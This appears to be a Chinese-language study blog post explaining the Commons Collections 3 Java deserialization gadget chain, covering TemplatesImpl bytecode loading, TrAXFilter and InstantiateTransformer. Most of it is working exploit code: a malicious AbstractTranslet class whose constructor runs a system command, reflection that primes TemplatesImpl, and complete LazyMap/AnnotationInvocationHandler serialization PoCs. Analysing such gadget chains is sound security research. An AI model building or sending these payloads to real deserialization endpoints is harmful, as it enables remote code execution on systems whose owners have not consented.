CommonsCollections3

Chiexf Lv4

0x00 前言

CC3这条链跟CC1和CC6不同的是,没有在链的代码中执行任意代码,而是通过动态类加载机制来实现自动执行恶意类的代码

0x01 利用链

1

0x02 代码分析

TemplatesImpl类加载实现任意代码执行

ysoserial找到了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类中定义了一个内部类TransletClassLoader里面重写了**defineClass()**,并且这里没有显式地声明其定义域

Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default

1
2
3
4
5
6
7
8
9
static final class TransletClassLoader extends ClassLoader {
//省略部分代码......
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

可以找到在哪里调用了defineClass,可以看到在defineTransletClasses类的for循环中调用了,不过是私有的,内部会调用

可以看到依次加载字节码**_bytecodes中的内容,然后赋值给Class数组_class**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void defineTransletClasses()
throws TransformerConfigurationException {
//省略部分代码......

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

//省略部分代码......
}

接着找可以发现在getTransletInstance中调用了defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
//省略部分代码......
}

可以看到在将字节码加载进来后,会执行这个代码

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这样就可以实例化类,执行任意代码了

但是getTransletInstance依旧是private,所以接着找哪里调用了getTransletInstance

找到newTransformer,而且是public修饰的,这样我们大概的利用链就找到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

可以看一下当前的利用链是怎样的

1
2
3
4
5
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader
TransletClassLoader.defineClass()

编写POC

首先从newTransformer()中走到了getTransletInstance()

1
2
3
4
5
6
7
8
9
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
//省略部分代码......
return transformer;
}

getTransletInstance()中的_name不能为空

而**_class要为空才能走到defineTransletClasses()**

而且**TemplatesImpl()**是个无参构造,所以值我们可以自己赋

1
2
3
4
5
6
7
8
9
10
11
12
public TemplatesImpl() { }

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
//省略部分代码......
}

defineTransletClasses()中的_bytecodes和**_tfactory**

_bytecodes为我们要加载的字节码,也就是也就是class文件

_tfactory需要是一个TransformerFactoryImpl对象,因为**TemplatesImpl.defineTransletClasses() **方法里有调用到 _tfactory.getExternalExtensionsMap(),如果是null会出错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;

private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
//省略部分代码......
}

在往后走,**_auxClasses**不用赋值

但是这里会去判断我们要执行的字节码的父类是不是这个ABSTRACT_TRANSLET

不是的话会将**_transletIndex赋值为-1,并且会报_auxClasses**空指针错误

1
2
3
4
5
6
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

而且后面有个if判断**_transletIndex是不是小于0,是的话会直接报错,所以给_transletIndex**赋值也没啥意义

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

所以就是要进去第一个if判断里

看一下ABSTRACT_TRANSLET这个是什么,

1
2
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

也就是说我们要执行的字节码的父类要继承AbstractTranslet

而这个也是TemplatesImpl类加载字节码的一个要求

所以我们要构造一个特殊类,继承了AbstractTranslet的执行类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class CalcTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public CalcTest() throws IOException {
super();
Runtime.getRuntime().exec("calc");
}

}

到这里**defineTransletClasses()算是完成了,返回到getTransletInstance()中,下一步就会去触发newInstance()**,从而实现任意代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
TemplatesImpl templates = new TemplatesImpl();
//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest01.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

//调用 newTransformer() 方法
templates.newTransformer();

CC1+TemplatesImpl

怎么去调用newTransformer

想到CC1链的InvokerTransform类能够实现调用传进去的方法。

只需要更改CC1中的这部分代码,将exec改为**templates::newTransformer()**即可

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

即为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
TemplatesImpl templates = new TemplatesImpl();
//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);
Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//调用transform
chainedTransformer.transform(1);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();

Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest01.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//chainedTransformer.transform(1);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

TrAXFilter

可以看到在ysoserial上使用的是TrAXFilter这个类,在这个类中直接传入Templates类型的对象

并且调用了**(TransformerImpl) templates.newTransformer()**

免去我们利用InvokerTransformer⼿⼯调⽤newTransformer方法

但是这个类不能进行序列化,所以需要利用它的class,并且利用构造函数赋值

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

而且缺少了InvokerTransformerTrAXFilter的构造⽅法也是⽆法调⽤的

所以ysoserial找到了一个新的Transformer

InstantiateTransformer

这里ysoserial就找到了InstantiateTransformer这个类,并且也是实现了Transformer接⼝的类

可以看到,在它的transform方法中

当传入的是Class时,会获取它的构造器,然后调用它的构造函数进行实例化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
//省略部分代码......
}

所以我们可以将代码改成

1
2
3
4
5
6
7
//InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
TemplatesImpl templates = new TemplatesImpl();
//反射修改属性
Class templatesClass = templates.getClass();
Field nameFiled = templatesClass.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodesFiled = templatesClass.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);

//获取字节码
byte[] code = Files.readAllBytes(Paths.get("F:\\tmp\\classes\\CalcTest.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);
Field tfactoryFiled = templatesClass.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

//
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);


HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("ser.bin");

0x03 总结

0x04 参考资料

P牛知识星球-Java安全漫谈

B站-白日梦组长

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=19d2e433219440bcf5304fbe8a00b7ff

Y4tacker

https://github.com/Y4tacker/JavaSec